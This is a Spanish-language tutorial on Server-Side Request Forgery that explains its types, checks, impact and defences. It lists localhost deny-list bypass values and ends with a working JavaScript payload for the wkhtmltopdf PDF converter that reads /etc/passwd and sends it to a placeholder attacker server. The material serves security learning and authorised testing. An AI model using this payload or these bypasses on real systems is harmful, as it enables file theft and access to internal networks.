Server-Side Request Forgery (SSRF)

¿Qué es y cómo funciona?

SSRF significa "Server-Side Request Forgery" (Falsificación de petición en el lado del servidor), es una vulnerabilidad en la que un atacante puede enviar solicitudes desde un servidor web comprometido a otros sistemas o servicios que se encuentran en la red interna, en lugar de solicitudes desde su propia máquina.

Esta vulnerabilidad puede permitir a los atacantes acceder a recursos internos que no deberían ser accesibles desde la red externa, como bases de datos, sistemas de archivos, servicios en la nube y otros sistemas críticos.

El funcionamiento de un ataque SSRF típicamente implica aprovechar una aplicación web que permite a los usuarios enviar solicitudes a otros sistemas. Un atacante puede modificar la solicitud de manera que la URL de destino sea un sistema interno en lugar de un sitio web público, y luego enviar la solicitud a través del servidor comprometido. Esto puede permitir al atacante acceder a recursos internos y potencialmente tomar el control del servidor.

Para prevenir los ataques SSRF, los desarrolladores de aplicaciones deben validar cuidadosamente las entradas de los usuarios, especialmente las URLs y otros datos que se utilizan para generar solicitudes web. También se pueden tomar medidas adicionales, como restringir el tráfico de red desde los servidores web hacia otros sistemas internos y configurar listas de control de acceso para limitar el acceso a recursos críticos.

Tipo de SSRF

• Regular SSRF que los datos son devueltos a la pantalla del atacante.

• Blind SSRF, en la que se hace un SSRF pero la información no es devuelta a la pantalla del atacante.

Cuando estemos realizando un blind SSRF al no tener información de vuelta tenemos que utilizar una herramienta externa pra monitorizar la petición, esta es la herramienta:

RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhookspipedream

También puedes utulizar tu propia HTTP server o BurpSuite.

Checks al enfrentarnos a un SSRF

• Parts of HTTP requests, including URLs

• File imports such as HTML, PDFs, images, etc.

• Remote server connections to fetch data

• API specification imports

• Dashboards including ping and similar functionalities to check server statuses

Si recuperamos archivos HTML, estos pueden ser vulnerados mediante un Reflected XSS

¿Cuál es el impacto?

Un ataque SSRF exitoso puede resultar en cualquiera de los siguientes:

• Acceso a áreas no autorizadas.

• Acceso a datos de clientes/organizaciones.

• Capacidad de escalar a redes internas.

• Revelar tokens/credenciales de autenticación.

Defensas comunes de SSRF

Hay varias defensas comunes que se pueden implementar para mitigar los riesgos de un ataque SSRF. Algunas de estas defensas incluyen:

1. Validación y filtrado de entrada: Los desarrolladores pueden validar y filtrar cuidadosamente todas las entradas de los usuarios, especialmente las URLs y otros datos que se utilizan para generar solicitudes web. Esto puede ayudar a evitar que los atacantes envíen solicitudes maliciosas a través de la aplicación web. Un punto final específico para restringir el acceso es el host local, que puede contener datos de rendimiento del servidor o más información confidencial, por lo que los nombres de dominio como localhost y 127.0.0.1 aparecerán en una lista de denegación. Los atacantes pueden eludir una lista de denegación mediante el uso de referencias locales de host alternativas como 0, 0.0.0.0, 0000, 127.1, 127...*, 2130706433, 017700000001 o subdominios que tienen un registro DNS que se resuelve en la dirección IP 127.0.0.1 como 127.0.0.1.nip.io.

2. Uso de listas blancas: Las listas blancas de URL se pueden utilizar para restringir las solicitudes que se pueden enviar desde la aplicación web. Esto puede ayudar a evitar que los atacantes envíen solicitudes a sistemas internos no autorizados.

3. Restricciones de red: Se pueden configurar restricciones de red para limitar el tráfico que se puede enviar desde el servidor web hacia otros sistemas internos. Esto puede ayudar a evitar que los atacantes envíen solicitudes maliciosas a través del servidor web comprometido.

4. Separación de redes: Se pueden utilizar redes separadas para sistemas internos y sistemas públicos. Esto puede ayudar a evitar que los atacantes accedan a sistemas internos no autorizados.

5. Autenticación y autorización adecuadas: Se deben implementar medidas de autenticación y autorización adecuadas para limitar el acceso a sistemas internos y recursos críticos. Esto puede ayudar a evitar que los atacantes accedan a recursos internos no autorizados.

6. Actualización y parcheo: Los sistemas deben mantenerse actualizados y parcheados regularmente para corregir vulnerabilidades conocidas. Esto puede ayudar a evitar que los atacantes aprovechen vulnerabilidades conocidas para llevar a cabo ataques SSRF.

PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThingsGitHub

Payloads SSRF

Blind SSRF

wkhtmltopdf

En el caso que nos encontramos que hay un SSRF y ejecuta por detrás un convertidor de HTML a PDF (wkhtmltopdf) que permite ejecutar JavaScript, podemos utilizar este payload para sacar archivos que no deberíamos tener capacidad de leer.

<script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true);
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>